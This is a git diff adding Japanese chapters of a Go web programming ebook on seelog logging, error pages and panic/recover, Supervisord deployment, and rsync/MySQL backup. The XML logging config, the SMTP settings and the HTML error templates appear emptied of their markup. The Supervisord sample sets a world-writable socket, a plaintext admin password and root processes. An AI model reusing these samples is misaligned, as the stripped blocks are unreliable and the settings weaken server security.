test`を使用することで便利にこれらのテストを行うことができ、将来のコードがアップグレードされ、修正された後でも簡単に回帰テストを行うことができます。この章はあなたがプログラムのロジックを書くことに対して何の助けにもならなかったかもしれません。しかし、あなたが書いたプログラムコードの質を高く保つには非常に重要です。なぜならよくできたWebアプリケーションは必ずよくできたエラー処理メカニズム(エラーの表示がユーザフレンドリーで拡張性がある)を持っているからです。ユーザフレンドリーなユニットテストと耐久テストは実運用が開始された後のコードが良い性能を保ち、予定通り実行されることを保証してくれます。 + +## links + * [目次]() + * 前へ: [Goでどのようにテストを書くか](<11.3.md>) + * 次へ: [デプロイとメンテナンス](<12.0.md>) diff --git a/ja/ebook/12.0.md b/ja/ebook/12.0.md new file mode 100644 index 00000000..e79dce61 --- /dev/null +++ b/ja/ebook/12.0.md @@ -0,0 +1,11 @@ +# 12 デプロイとメンテナンス +現在までのところ、我々はどのようにプログラムを開発するかご紹介しました。プログラムのデバッグとテストには開発の最後の10%は90%の時間を必要とすると言われます。ですから、この章では最後の10%の部分を強調して、信用と使用に足る優秀なアプリケーションになるよう細部を考慮する必要があります。上の10%はこれらの細部を指しています。 + +この章では4つの節によってこれらの細部の処理をご紹介します。第一節ではサーバでプログラムが生成するログをどのように記録するかご紹介します。第二節ではエラーが発生した時に我々のプログラムがどのように処理されるかと、ユーザのアクセスに与える影響をなるべく少なくするにはどうすべきかご紹介します。第三節ではGoの独立したプログラムをどのようにデプロイするかご紹介します。現在GoプログラムはまだCのようにdaemonを書くことができませんので、これらのプロセスとプログラムのバックエンドをどのように実行すべきでしょうか?第四節ではアプリケーションデータのバックアップとリストアをご紹介します。アプリケーションが壊れた状況でなるべくデータの完全性を保証します。 +## 目次 + ![](images/navi12.png?raw=true) + +## links + * [目次]() + * 前へ: [第十一章概要](<11.4.md>) + * 次へ: [アプリケーションログ](<12.1.md>) diff --git a/ja/ebook/12.1.md b/ja/ebook/12.1.md new file mode 100644 index 00000000..c15adc72 --- /dev/null +++ b/ja/ebook/12.1.md @@ -0,0 +1,166 @@ +# 12.1 アプリケーションログ  +我々は開発しているWebアプリケーションプログラムにプログラム全体の実行過程において発生する様々なイベントを一つ一つ記録できるようにしたいと望んでいます。Go言語では簡易のlogパッケージを提供しています。このパッケージを使用することで簡単にログを記録する機能を実装することができます。これらのログはどれもfmtパッケージの出力とpanicといった関数を組み合わせることで普段の出力、エラーの発生といった処理を行なっています。Goの標準パッケージは現在簡単な機能のみを含んでいます。もし我々のアプリケーションログをファイルに保存し、ログと組み合わせてより複雑な機能(JavaまたはC++の開発経験のある読者はlog4jとlog4cppといったログツールを使ったことがあると思います)を実装したい場合、サードパーティが開発したログシステムを使用することができます。`https://github.com/cihub/seelog`。これは非常に強力なログ機能を実現しています。以降ではこのログシステムを使ってどのように我々のアプリケーションにログ機能を実装するかご紹介します。 + +## seelogのご紹介 +seelogはGo言語で実装されたログシステムのひとつです。これは複雑なログの割り当て、フィルタリングとフォーマッティングを実現する簡単な関数を提供します。主に以下の特徴があります: + +- XMLの動的な変更、プログラムを再コンパイルすることなく動的にデータを変更することができます。 +- ホットアップデート。動的に再起動する必要なく設定を変更することができます。 +- マルチ出力ストリームのサポート。同時にログを複数のストリームに出力することができます。たとえばファイルストリーム、ネットワークストリーム等 +- 異なるログの出力のサポート + + - コマンドライン出力 + - ファイル出力  + - キャッシュ出力 + - log rotateのサポート + - SMTPメール + +上では特徴のいくつかを列挙しただけです。seelogは非常に強力なログ処理システムです。詳細はオフィシャルのwikiをご参照ください。以降ではどのようにしてプロジェクトにおいてこれを利用するのか簡単にご紹介します: + +まずseelogをインストールします + + go get -u github.com/cihub/seelog + +次に簡単な例を見てみます: + + package main + + import log "github.com/cihub/seelog" + + func main() { + defer log.Flush() + log.Info("Hello from Seelog!") + } + +コンパイルして実行すると`Hello from seelog`という出力がでます。seelogログシステムのインストールに成功して、正常に実行されています。 + +## seelogに基づいたカスタム定義のログ処理 +seelogはカスタムなログ処理の定義をサポートしています。以下はカスタムに定義されたログ処理パッケージの一部の内容にもとづいています: + + package logs + + import ( + "errors" + "fmt" + seelog "github.com/cihub/seelog" + "io" + ) + + var Logger seelog.LoggerInterface + + func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + + ` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) + } + + func init() { + DisableLog() + loadAppConfig() + } + + // DisableLog disables all library log output + func DisableLog() { + Logger = seelog.Disabled + } + + // UseLogger uses a specified seelog.LoggerInterface to output library log. + // Use this func if you are using Seelog logging system in your app. + func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger + } + +上は主に3つの関数を実装しています、 + +- `DisableLog` + + グローバル変数Loggerをseelogを使用しない状態に初期化します。主にLoggerが複数回初期化されないよう防止するためです。 +- `loadAppConfig` + + 設定ファイルが初期化したseelogの設定情報にもとづいて、設定ファイルを文字列を通して読み取り設定します。当然XMLファイルを読み取ってもかまいません。中の設定の説明は以下の通り: + + - seelog + + minlevelパラメータはオプションです。もし設定されていれば、このレベルと同じかそれ以上のログが記録されます。maxlevelと同じです。 + - outputs + + データの出力先です。ここでは2つのデータにわけます。ひとつはlog rotateファイルに記録され、もうひとつはfilterを設定します。もしエラーレベルがcriticalであれば、エラーメールを送信します。 + + - formats + + 各種ログフォーマットを定義します + +- `UseLogger` + + 現在のロガーを対応するログ処理に設定します + +上ではカスタムにログ処理パッケージを定義しています。以下は使用例です: + + package main + + import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" + ) + + func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) + } + +## エラーの発生によりメールを送信 +上の例ではどのようにメールの送信を設定するか説明しています。以下のようなsmtp設定によってメールを送信します: + + + + + +メールのフォーマットはcriticalemail設定とその他のSMTPサーバの設定によって設定されます。recipient設定でメールの送信先を設定します。もし複数のユーザがいる場合はもう一行追加することができます。 + +このコードが正しく動作するかテストする場合、コードに以下のような偽の情報を追加することが可能です。しかし後に削除することを忘れないようにしてください、さもなければ、実運用で沢山のスパムメールを受け取ることになります。 + + logs.Logger.Critical("test Critical message") + +現在、我々のアプリケーションが実運用でCriticalな情報を一つ記録すると、あなたのメールボックスにEmailが届きます。このように一旦実運用されたシステムに問題が発生するとすぐにメールの受信ができ、その時に処理を実行することができます。 +## アプリケーションログの使用 +アプリケーションログに対しては人によってアプリケーションのバックグラウンドが異なる可能性があります。一部の人はアプリケーションログを使ってデータ分析を行うかもしれませんし、ある人はアプリケーションログを使って性能を分析するかもしれません。またある人はユーザの行動分析を行うかもしれませんし、アプリケーションに問題が発生した際問題を見つけやすくするために、純粋に記録を行いたいだけの場合もあります。 + +一つ例を挙げましょう。ユーザがシステムにログインしようとする操作を追跡したいとします。ここでは成功と失敗の試みがすべて記録されています。成功のログは"Info"ログレベルが使用され、失敗には"warn"レベルが使用されます。もしすべてのログイン失敗記録を探したい場合、linuxのgrepといったコマンドツールを使って以下のようにすることができます: + + # cat /data/logs/roll.log | grep "failed login" + 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password + +このような方法によって簡単に対応する情報を探し出すことができます。これにはアプリケーションログに対して統計と分析を行えるという利点があります。また、ログのサイズを考慮する必要もあります。高トラフィックのWebアプリケーションにとって、ログの増加は恐るべきものです。そのため、seelogの設定ファイルでlogrotateを設定することで、ログファイルが絶え間なく増大し我々のディスクスペースが足りなくなるといった問題を引き起こさないよう保証することができます。 + +## 概要 +上のseelogシステムとこれに基づいてどのようにログシステムを定義するかを学ぶことによって、非常に気軽に強力で適切な機能を持つログシステムを作成できることができました。ログシステムはデータ分析に信用できるデータソースを提供します。例えばログの分析を通して、システムをより一歩改善することができますし、アプリケーションに問題が発生した時に問題の位置を特定しやすくなります。また、seelogはログのレベル分け機能もサポートしています。minlevelの設定によって簡単にテストや配布版の出力情報のレベルを設定することができます。 + +## links + * [目次]() + * 前へ: [デプロイとメンテナンス](<12.0.md>) + * 次へ: [ウェブサイトのエラー処理](<12.2.md>) diff --git a/ja/ebook/12.2.md b/ja/ebook/12.2.md new file mode 100644 index 00000000..6ba2539d --- /dev/null +++ b/ja/ebook/12.2.md @@ -0,0 +1,124 @@ +# 12.2 サイトエラー処理 +我々のWebアプリケーションが一旦実運用されると、さまざまなエラーが発生する可能性があります。Webアプリケーションの日常の実行ではいくつものエラーが発生する可能性があります。具体的には以下のとおり: + +- データベースエラー:データベースサーバへのアクセスまたはデータと関係のあるエラーです。例えば、以下は何らかのデータベースエラーを発生させることがあります。 + + - 接続エラー:このエラーはデータベースサーバのネットワークが切断された時や、ユーザ名とパスワードが不正だった場合、またはデータベースが存在しない場合に発生することがあります。 + - 検索エラー:使用されたSQLが正しく無く、エラーが発生する場合です。このようなSQLエラーはもしプログラムに厳格なテストを行うことで回避できます。 + - データエラー:データベースの約束が衝突する場合。例えば一つしかないフィールドに複数の主キーを持つデータが挿入されるとエラーを発生させます。しかし、あなたのアプリケーションプログラムが運用される前に厳格なテストを行うことでこれらの問題を回避することもできます。 +- アプリケーション実行時のエラー:これらのエラーの範囲は非常に広く、コードの中で出現するほとんどすべてのエラーをカバーしています。ありえるアプリケーションエラーは以下のような状況です: + + - ファイルシステムとパーミッション:アプリケーションが存在しないファイルを読み込むか、権限の無いファイルを読むか、書き込む事を許されていないファイルに書き込みを行うといったこれらの行為は全てエラーを発生させます。もしアプリケーションが読み込むファイルのフォーマットが正しくなかった場合もエラーを発生させます。例えば設定ファイルがiniの設定フォーマットでなければならないのに、json形式で設定されているとエラーを発生させます。 + - サードパーティアプリケーション:もし我々のアプリケーションプログラムを他のサードパーティのインターフェースプログラムと組み合わせる場合、例えばアプリケーションプログラムがテキストを出力し、自動的にマイクロブログのインターフェースをコールすると、このインターフェースは正常に実行されなければ我々のテキストを出力する機能は実現することができません。 + +- HTTPエラー:これらのエラーはユーザのリクエストによって発生するエラーです。もっともよく見かけるのは404エラーです。その他にも多くのエラーが発生することはあるとしても、他によく見かけるエラーには401無許可エラー(認証によってアクセスできるリソース)、403アクセス拒否エラー(ユーザがリソースにアクセスするのを拒否)と503エラー(プログラムの内部エラー)です。 +- オペレーティングシステムエラー:これらのエラーはすべてアプリケーション上のオペレーティングシステムによって発生するものです。主にオペレーティングシステムのリソースが分配されたり、フリーズを引き起こしたり、オペレーティングシステムのハードディスクをいっぱいにして書き込みができなくなったりと、多くのエラーを引き起こします。 +- ネットワークエラー:これは2つのエラーを示します。ひとつはユーザがアプリケーションにリクエストを行う場合ネットワークが切れてしまうもので、ネットワークの接続が中断されてしまいます。これらのエラーはアプリケーションの崩壊こそ招きませんが、ユーザのアクセス効果に影響を及ぼします。もうひとつはアプリケーションプログラムがほかのネットワーク上のデータを読み込み、その他のネットワークが切断することで読み込みに失敗するものです。これらはアプリケーション・プログラムに有効なテストを施すことで、これらの問題が発生する状況でアプリケーションが崩壊することを防ぐことができます。 + +## エラー処理の目標 +エラー処理を実装する前に、エラー処理が目指す目標が何かを明確にすべきです。エラー処理システムは以下のような作業のもと行います: + +- アクセスしたユーザにエラーの発生を通知する:発生したのがシステムエラーであれユーザのエラーであれ、ユーザはWebアプリケーションに問題が発生しユーザの今回のリクエストが正常に完了しなかったたことを知る必要があります。例えば、ユーザのエラーリクエストに対して、我々は共通のエラー画面(404.html)を表示します。システムエラーが発生した場合は、カスタム定義されたエラー画面によってシステムがしばらく使用できないといった類のエラー画面(error.html)を表示させます。 +- ログエラー:システムにエラーが発生、つまり一般的には関数をコールする際に返されるerrがnilではない状況において、前の節でご紹介したログシステムを使用することによりログファイルに記録することができます。例えば、クリティカルなエラーだったとすると、メールによってシステム管理者に通知します。404といったエラーでは普通メールを送信するようなことは必要ありませんが、ログシステムに記録する必要があります。 +- 現在のリクエスト操作をロールバックする:あるユーザのリクエスト中にサーバエラーが発生しました。すでに完了している操作をロールバックする必要があります。ここではひとつ例をあげましょう:あるシステムがユーザの送信したフォームをデータベースに保存し、このデータをサードパーティのサーバに送信するとします。ただし、サードパーティのサーバが死んでエラーを発生させたとすると事前にデータベースに保存されたフォームデータは削除されなければならず(アナウンスメントは無効にならなければなりません)、ユーザのシステムにエラーが発生したことを通知しなければなりません。 +- 現在のプログラムが実行可能でサービスできることを保証する:プログラムがかならず常に正常に実行されることを保証できる人間は居ない事を我々は知っています。万が一いつの日かプログラムがぶっ壊れてしまったら、エラーを記録しなければなりません。その後すぐにプログラムを再起動して、プログラムにサービスを提供させつづけます。その後システム管理者に通知を行い、ログ等を通じて問題を探し出します。 + +## どのようにエラーを処理するか +エラー処理は実は我々も第十一章の第一節でどのようにエラー処理を設計するかご紹介しました。ここではまたひとつの例から詳細にご解説します。どのように異なるエラーを処理するのでしょうか: + +- ユーザにエラーが発生したことを通知する: + + ユーザがページにアクセスした時はふたつのエラーがあります:404.htmlとerror.htmlです。以下はそれぞれエラーページを表示するソースです: + + + + + ページが見つかりません + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+
+
+ + + もうひとつのソース: + + + + + システムエラーページ + + + + +
+
+
+
+

システムはしばらく使用できません!

+

{{.ErrorInfo}}

+
+
+
+
+ + + + 404のエラー処理ロジック、もしシステムのエラーだった場合もにたような操作になります。以下を見てみましょう: + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error("ページが見つかりません") //エラーログに記録 + t, _ = t.ParseFiles("tmpl/404.html", nil) //テンプレートファイルを解析 + ErrorInfo := "ファイルが見つかりません" //現在のユーザ情報を取得 + t.Execute(w, ErrorInfo) //テンプレートのmerger操作を実行 + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical("システムエラー") //システムエラーはクリティカルですので、ログに記録するだけでなくメールを送信します。 + t, _ = t.ParseFiles("tmpl/error.html", nil) //テンプレートファイルを解析 + ErrorInfo := "システムは現在ご利用できません" //現在のユーザ情報を取得 + t.Execute(w, ErrorInfo) //テンプレートのmerger操作を実行 + } + +## どのように例外を処理するか +多くの他の言語の中にはtry..catchキーワードがあることをご存知だと思います。例外をキャッチするために使う状況ですが、そもそもエラーの多くはあらかじめ発生が予測できるものばかりで、例外処理を行う必要はありません。エラーによって処理しなければならないのも、Go言語が関数にエラーを返させる設計になっているためです。これはpanicになりません。もしあなたが切れたネットワーク接続に対してデータを書き込む場合、net.ConnシリーズのWrite関数がエラーを返します。これらはpanicになりません。これらの状態はこのようなプログラムにおいて予測できるものです。あなたがこれらの操作が失敗しうると知っているのは、設計者がエラーを返す事で明確にこれを表明しているからです。これが上で述べた発生が予測可能なエラーです。 + +しかしまた別の状況もあります。ある操作がほとんど失敗せず、ある特定の状況下においてエラーを返すこともできず、継続して実行することもできない場合、panicになります。例をあげましょう:もしあるプログラムがx[j]を計算したところjが範囲を超えてしまった場合、この部分のコードはpanicを引き起こします。このように予測できない重大なエラーがpanicを引き起こします。デフォルトではこれはプロセスを殺します。これは現在実行されているこのコードのgoroutineがエラーを発生させたpanicから復帰することを許します。これはGoがわざとこのように設計しており、エラーと例外を区別するためです。panicは実は例外処理なのです。以下のコードでは、uidによってUserのusername情報を取得することを期待していますが、uidが範囲を超えてしまうと例外を発生させます。この時もしrecoverメカニズムがなければ、プロセスが殺され、それによってプログラムがサービス不能に陥ります。ですから、プログラムの健全性を保つため、いくつかの場所ではrecoverメカニズムを作る必要があります。 + + func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return + } + +上ではエラーと例外の区別をご紹介しました。我々がプログラムを開発する時はどのように設計すべきでしょうか?ルールは非常に簡単です:もしあなたが定義した関数が失敗する可能性があるなら、エラーを返さなければなりません。他のpackageの関数をコールする時、もしこの関数の実装がとてもよい場合、panicの心配をする必要もありません。本当に例外を発生させなければならない状況ではないのに発生させてしまっているにしても、私がこれを処理するいわれはないはずです。panicとrecoverは自分が開発したpackageで実装されたロジックや、特殊な状況に対して設計されます。 + +## 概要 +この節では我々のWebアプリケーションをデプロイした後どのようにして各種のエラーを処理するかについてまとめました:ネットワークエラー、データベースエラー、オペレーティングシステムのエラー等、エラーが発生した際、我々のプログラムはどのようにして正しく処理するのでしょうか:ユーザフレンドリーなエラーインターフェースを表示し、操作をロールバックし、ログを記録し、管理者に通知するといった操作を行います。最後にどのようにしてエラーと例外を正しく処理するかについてご紹介しました。一般的なプログラムにおいてはエラーと例外はよく混同されます。しかし、Goではエラーと例外は常に明確な区別がなされます。そのため、我々がプログラムを設計するにあたってエラーと例外を処理する際はどのような原則に従うべきかについてご紹介しました。 +## links + * [目次]() + * 前へ: [アプリケーションログ](<12.1.md>) + * 次へ: [アプリケーションのデプロイ](<12.3.md>) diff --git a/ja/ebook/12.3.md b/ja/ebook/12.3.md new file mode 100644 index 00000000..a8119298 --- /dev/null +++ b/ja/ebook/12.3.md @@ -0,0 +1,181 @@ +# 12.3 アプリケーションのデプロイ +プログラムの開発が完了したら、Webアプリケーションをデプロイする必要があります。しかし、これらのプログラムはどのようにしてデプロイするのでしょうか?Goプログラムがコンパイルされた後は実行可能なファイルになりますので、Cプログラムを書いたことのある読者であればおそらくdaemonを採用することで完璧にプログラムをバックグラウンドで継続して実行できることを知っておられると思います。しかし、現在Goは完全にdaemonを実現することはできません。そのため、Goのアプリケーションプログラムをデプロイするにあたって、サードパーティのツールを使って管理することができます。サードパーティのツールにはいくつかあります。たとえば、Supervisord、upstart、daemontools等です。この節では現在自分のシステムにおいて採用しているツール、Supervisordをご紹介したいと思います。 +## daemon +現在Goプログラムではdaemonを実装することはまだできません。このGo言語のbugについての詳細は: <`http://code.google.com/p/go/issues/detail?id=227`> をご参照ください。かいつまんで言うと現在使用しているプロセスにおいてforkすることはとても難しいということです。簡単にすでに使用されているすべてのプロセスの状態を一致させる方法がないためです。 + +しかし、多くのウェブサイトでdaemonを実装する方法について見ることができます。例えば以下の2つの方法です: + +- MarGoの実装思想の一つで、Commandを使用して自身のアプリケーションを実行します。もし本当に実装したい場合、このソリューションをおすすめします。 + + d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") + if *d { + cmd := exec.Command(os.Args[0], + "-close-fds", + "-addr", *addr, + "-call", *call, + ) + serr, err := cmd.StderrPipe() + if err != nil { + log.Fatalln(err) + } + err = cmd.Start() + if err != nil { + log.Fatalln(err) + } + s, err := ioutil.ReadAll(serr) + s = bytes.TrimSpace(s) + if bytes.HasPrefix(s, []byte("addr: ")) { + fmt.Println(string(s)) + cmd.Process.Release() + } else { + log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) + cmd.Process.Kill() + } + } + +- もう一つはsyscallを利用したソリューションです。しかしこのソリューションは完全ではありません: + + package main + + import ( + "log" + "os" + "syscall" + ) + + func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 + } + +上ではGoで実装する二種類のdaemonのソリューションをご紹介しました。しかし、このように皆さんが実装するのはやはりおすすめしません。なぜなら、オフィシャルではまだ正式にdaemonのサポートが宣言されていないからです。当然、一つめのソリューションは今のところまだマシに見えますし、実際現在オープンソースリポジトリskynetではこの方法によってdaemonを採用しています。 + +## Supervisord +上ではGoが現在二種類のソリューションによってdaemonを実装していることをご紹介しました。しかしオフィシャルではまだサポートしていませんので、みなさんにおかれましてはサードパーティの成熟したツールを使って我々のアプリケーション・プログラムを管理することを提案します。supervisordはあなたが管理するアプリケーションプログラムをdaemonプログラムにする事を助け、コマンドを通して簡単にスタート、ストップ、リスタートといった操作を行うことができます。また、管理されているプロセスが一旦崩壊すると自動的に再起動を行うので、プログラムが実行中に中断した場合の自己修復機能を保証することができます。 + +>私は前にアプリケーションで地雷を踏んだことがあります。全てのアプリケーション・プログラムがSupervisordの親プロセスから生成されているため、オペレーティングシステムのファイルディスクリプタを修正した時には忘れずにSupervisordを再起動してください。その下のアプリケーションを再起動しただけではダメです。当初私はOSをインストールしたらまずSupervisordをインストールし、プログラムのデプロイを行い、ファイルディスクリプタを修正して、プログラムを再起動していました。ファイルディスクリプタなんか100000個もあるだろうと思い込んでいたのです。実はSupervisordにはこの時デフォルトの1024個しか用意されていませんでした。結果管理されていたプログラムを含むファイルディスクリプタも全部で1024個しか無く、開放した途端圧力が一気に膨れ上がりOSがファイルディスクリプタを使い切った事でエラーを吐き始めたのです。長い時間をかけてやっとこの地雷を見つけました。 + +### Supervisordのインストール +Supervisordは`sudo easy_install supervisor`でインストールすることができます。当然Supervisordのオフィシャルサイトでダウンロードし、解凍してソースコードのあるディレクトリで`setup.py install`を実行してインストールすることもできます。 + +- easy_installを使用する場合は必ずsetuptoolsをインストールする必要があります + + `http://pypi.python.org/pypi/setuptools#files`を開きます。あなたのシステムのpythonのバージョンに従って対応するファイルをダウンロードし、`sh setuptoolsxxxx.egg`を実行します。これによりeasy_installコマンドでSupervisordをインストールすることができます。 + +### Supervisordの設定 +Supervisordのでおフォルトの設定ファイルのパスは/etc/supervisord.confです。テキストエディタを使ってこのファイルを修正します。以下は設定ファイルの例です: + + ;/etc/supervisord.conf + [unix_http_server] + file = /var/run/supervisord.sock + chmod = 0777 + chown= root:root + + [inet_http_server] + # Web管理インターフェース設定 + port=9001 + username = admin + password = yourpassword + + [supervisorctl] + ; 必ず'unix_http_server'の設定と合わせる必要があります。 + serverurl = unix:///var/run/supervisord.sock + + [supervisord] + logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=true ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + user=root ; (default is current user, required if root) + childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + + ; 管理する単一のプロセスの設定。いくつもprogramを追加することができます。 + [program:blogdemon] + command=/data/blog/blogdemon + autostart = true + startsecs = 5 + user = root + redirect_stderr = true + stdout_logfile = /var/log/supervisord/blogdemon.log + +### Supervisordの管理 +Supervisordをインストールするとsupervisorとsupervisorctlという2つのコマンドが使えるようになります。以下ではコマンドの説明を行います: + +- supervisord、Supervisordを初期化し起動します。コンフィグの中で設定されたプロセスを起動、管理します。 +- supervisorctl stop programxxx、プロセス(programxxx)を停止します。programxxxは[program:blogdemon]の中で設定された値です。この例ではblogdemonになります。 +- supervisorctl start programxxx、プロセスを起動します。 +- supervisorctl restart programxxx、プロセスを再起動します。 +- supervisorctl stop all、すべてのプロセスを停止します。注:start、restart、stopは最新の設定ファイルを読み込みません。 +- supervisorctl reload、最新の設定ファイルを読み込み、新しい設定に沿ってすべてのプロセスを起動、管理します。 + +## 概要 +この節ではGoがどのようにdaemon化を実現しているのかについてご紹介しました。ただ現在Goのdaemon実装は不足しており、サードパーティのツールによるアプリケーションプログラムのdaemon管理を行う方法に頼る必要があります。そのためここではpythonで書かれたプロセス管理ツールSupervisordをご紹介しました。Supervisordを使って簡単にGoアプリケーションプログラムを管理することができます。 + + +## links + * [目次]() + * 前へ: [サイトエラー処理](<12.2.md>) + * 次へ: [バックアップとリストア](<12.4.md>) diff --git a/ja/ebook/12.4.md b/ja/ebook/12.4.md new file mode 100644 index 00000000..4387a314 --- /dev/null +++ b/ja/ebook/12.4.md @@ -0,0 +1,174 @@ +# 12.4 バックアップとリストア +この節ではアプリケーションプログラムを管理するもうひとつの側面について討論したいとおもいます:サーバ上で生成されたデータのバックアップとリストアについてです。サーバのネットワークが切断されたり、ハードディスクが壊れたり、OSが崩壊したり、データベースが使用できなくなったりという各種以上な状態はよく発生します。そのため、メンテナはサーバ上で発生したアプリケーションとデータに対しリモート障害時のリカバリ、コールドスタンドバイやホットスタンドバイといった準備をする必要があります。以下のご紹介において、どのようにアプリケーションのバックアップを行うか、Mysqlデータベースおよびredisデータベースのバックアップ/リストアについてご説明します。 + +## アプリケーションのバックアップ +多くのクラスタ環境において、Webアプリケーションプログラムは基本的にバックアップをとる必要はありません。なぜならこれは単なるコードのコピーでしかないからです。ローカルの開発環境またはバージョンコントロールシステムにおいてすでにこれらのコードを保持しています。しかし多くの場合、いくつかの開発サイトにおいてはユーザがファイルをアップロードする必要があり、これらのユーザがアップロードしたファイルに対してバックアップを行う必要があります。現在理にかなった方法はウェブサイトに関係する保存されるべきファイルをクラウドストレージ上に保存するというものです。このようにすることでシステムが崩壊しても、クラウドストレージ上にありさえすれば、データが失われることはありません。 + +もしクラウドストレージを採用していなかった場合、どのようにしてウェブサイトのバックアップを行うのでしょうか?ここではファイルの同期ツールであるrsyncをご紹介します:rsyncはウェブサイトのコピーを行うことができ、異なるシステムのファイルを同期することができます。もしwindowsであれば、windows版のcwrsyncが必要です。 + +### rsyncのインストール +rsyncのオフィシャルサイト:http://rsync.samba.org/ において最新版のソースコードを取得できます。当然、rsyncはとても使い勝手のよいソフトウェアですので、多くのLinuxのディストリビューションにおいてその中に収録されています。 + +ソフトウェアパッケージのインストール + + # sudo apt-get install rsync 注:debian、ubuntu 等のライブインストール方法; + # yum install rsync 注:Fedora、Redhat、CentOS 等のライブインストール方法; + # rpm -ivh rsync 注:Fedora、Redhat、CentOS 等rpmパッケージによるインストール方法; + +その他のLinuxディストリビューションでは、対応するソフトウェアパッケージ管理方法によってインストールしてください。ソースコードパッケージのインストールは + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure --prefix=/usr ;make ;make install 注:ソースコードパッケージをコンパイルしてインストールする前にgccといったコンパイルツールをインストールしておく必要があります; + +### rsyncの設定 +rsyncは主に以下の3つの設定ファイルrsyncd.conf(メインの設定ファイル)、rsyncd.secrets(パスワードファイル)、rsyncd.motd(rsyncサーバの情報)があります。 + +これらのファイルの設定に関してはみなさんはオフィシャルサイトやその他のrsyncを紹介しているサイトを参考にしていただけます。以下ではサーバサイドとクライアントサイドがどのようにして起動するかご紹介します。 + +- サーバサイドの起動: + + #/usr/bin/rsync --daemon --config=/etc/rsyncd.conf + + --daemonオプション方式は、rsyncをサーバモードで実行します。rsyncを起動時に起動するには + + echo 'rsync --daemon' >> /etc/rc.d/rc.local + + rsyncのパスワードを設定 + + echo 'ユーザ名:パスワード' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + + +- クライアントサイドの同期: + + クライアントサイドは以下のコマンドによってサーバ上のファイルと同期することができます: + + rsync -avzP --delete --password-file=rsyncd.secrets ユーザ名@192.168.145.5::www /var/rsync/backup + + このコマンドの幾つかの要点を以下に簡単に説明します: + + 1. -avzPとは何か、読者は--helpを使って調べることができます。 + 2. --delete はAにおいてファイルを削除すると、同期の際にBは自動的に対応するファイルを削除します。 + 3. --password-file クライアントサイドの/etc/rsyncd.secretsで設定されたパスワードで、サーバサイドの /etc/rsyncd.secrets の中のパスワードと一致させる必要があります。このようにcronを実行した場合、パスワードを入力する必要がありません。 + 4. このコマンドの中の"ユーザ名"はサーバサイドの /etc/rsyncd.secretsの中のユーザ名です。 + 5. このコマンドの中の 192.168.145.5 はサーバのIPアドレスです。 + 6. ::www、二つのコロンマークに注意してください。wwwはサーバの設定ファイル /etc/rsyncd.conf にある[www]です。意味はサーバ上の/etc/rsyncd.confに従ってその中の[www]フィールドの内容を同期します。一つのコロンマークの時は設定ファイルに従わず、直接指定したディレクトリを同期します。 + + 同期にリアルタイム性を持たせるため、crontabを設定しrsyncを分毎に同期させてもかまいません。当然ユーザはファイルの重要性によって異なる同期頻度を設定することもできます。 + + +## MySQLのバックアップ +アプリケーションのデータベースは現在やはりMySQLが主流です。現在MySQLのバックアップには二種類の方法があります:ホットスタンドバイとコールドスタンドバイです。ホットスタンドバイは現在主にmaster/slave方式をとっています(master/slave方式の同期は現在データベースの読み込みと書き込みを分離しています。ホットスタンドバイでも使用することができます)。どのようにこの方面の資料を設定するのかについては、いくつも検索することができます。コールドスタンドバイの場合、データベースには一定のち円が存在します。しかし、この時間の前のデータを完璧に保証することができます。例えば、誤操作がデータの喪失を引き起こしてしまったような場合、master/slaveモードでは失われたデータを取り戻すことはできません。しかし、コールドスタンドバイではデータの一部を復元することができます。 + +コールドスタンドバイは一般的にshellスクリプトを使用して時間毎にデータベースのバックアップをとることになります。上で紹介したrsyncによってローカルでないデータセンターのサーバの一つに同期します。 + 